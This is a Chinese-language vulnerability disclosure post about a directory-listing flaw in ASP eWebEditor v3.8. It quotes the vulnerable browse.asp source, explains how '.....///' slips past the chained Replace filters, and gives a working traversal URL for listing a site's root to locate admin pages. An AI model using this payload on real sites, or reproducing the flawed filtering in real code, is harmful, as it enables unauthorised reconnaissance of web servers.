好久没发洞了，今天搞个站遇到了asp eWebEditor v3.8  随便挖掘了下，下面是成果，getshell的是没有，小洞还是发现了个！标题：asp eWebEditor v3.8 列目录漏洞(其他版本为测试)漏洞文件：asp/browse.asp漏洞发生者：鬼哥漏洞产生：Sub InitParam()

sType = UCase(Trim(Request.QueryString("type")))

sStyleName = Trim(Request.QueryString("style"))

sCusDir = Trim(Request.QueryString("cusdir"))

Dim i, aStyleConfig, bValidStyle

bValidStyle = False

For i = 1 To Ubound(aStyle)

aStyleConfig = Split(aStyle(i), "|||")

If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then

bValidStyle = True

Exit For

End If

Next

If bValidStyle = False Then

OutScript("alert('Invalid Style.')")

End If

sBaseUrl = aStyleConfig(19)

nAllowBrowse = CLng(aStyleConfig(43))

nCusDirFlag = Clng(aStyleConfig(61))

If nAllowBrowse <> 1 Then

OutScript("alert('Do not allow browse!')")

End If

If nCusDirFlag <> 1 Then

sCusDir = ""

Else

sCusDir = Replace(sCusDir, "\", "/")

If Left(sCusDir, 1) = "/" Or Left(sCusDir, 1) = "." Or Right(sCusDir, 1) = "." Or InStr(sCusDir, "./") > 0 Or InStr(sCusDir, "/.") > 0 Or InStr(sCusDir, "//") > 0 Then

sCusDir = ""

Else

If Right(sCusDir, 1) <> "/" Then

sCusDir = sCusDir & "/"

End If

End If

End If

sUploadDir = aStyleConfig(3)

If Left(sUploadDir, 1) <> "/" Then

sUploadDir = "../" & sUploadDir

End If

Select Case sBaseUrl

Case "0"

sContentPath = aStyleConfig(23)

Case "1"

sContentPath = RelativePath2RootPath(sUploadDir)

Case "2"

sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))

End Select

sUploadDir = sUploadDir & sCusDir

sContentPath = sContentPath & sCusDir

Select Case sType

Case "FILE"

sAllowExt = ""

Case "MEDIA"

sAllowExt = "rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov"

Case "FLASH"

sAllowExt = "swf"

Case Else

sAllowExt = "bmp|jpg|jpeg|png|gif"

End Select

sCurrDir = sUploadDir

sDir = Trim(Request("dir"))

'1.假设dir= ../

'2.假设dir=...//

'3.假设dir=.....///

sDir = Replace(sDir, "\", "/")  '过滤1

sDir = Replace(sDir, "../", "") '过滤2

'1.到这里就被过滤了

sDir = Replace(sDir, "./", "") '过滤3

'2到这里也被功率了

'3到这里就成../了。比较有趣的饶过！好象不少cms这样过滤过。[/color]

If sDir <> "" Then

If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then

sCurrDir = sUploadDir & sDir & "/"

Else

sDir = ""

End If

End If

End Sub

漏洞测试EXP：http://www.8090sec.com/asp/browses.asp?style=gray&dir=.....///.....//  饶过过滤直接列根目录(只能列图片已目录)可用于找后台等(利用exp在页面不会显示出目录来，得查看源文件).鬼哥：我也不知道这个漏洞别人发现或者公布没，反正我在网上找了下没找到 asp eWebEditor v3.8的这个漏洞，，确实有php版的漏洞，但是asp的确实没。转载请著名作者名“鬼哥”否则没JJ。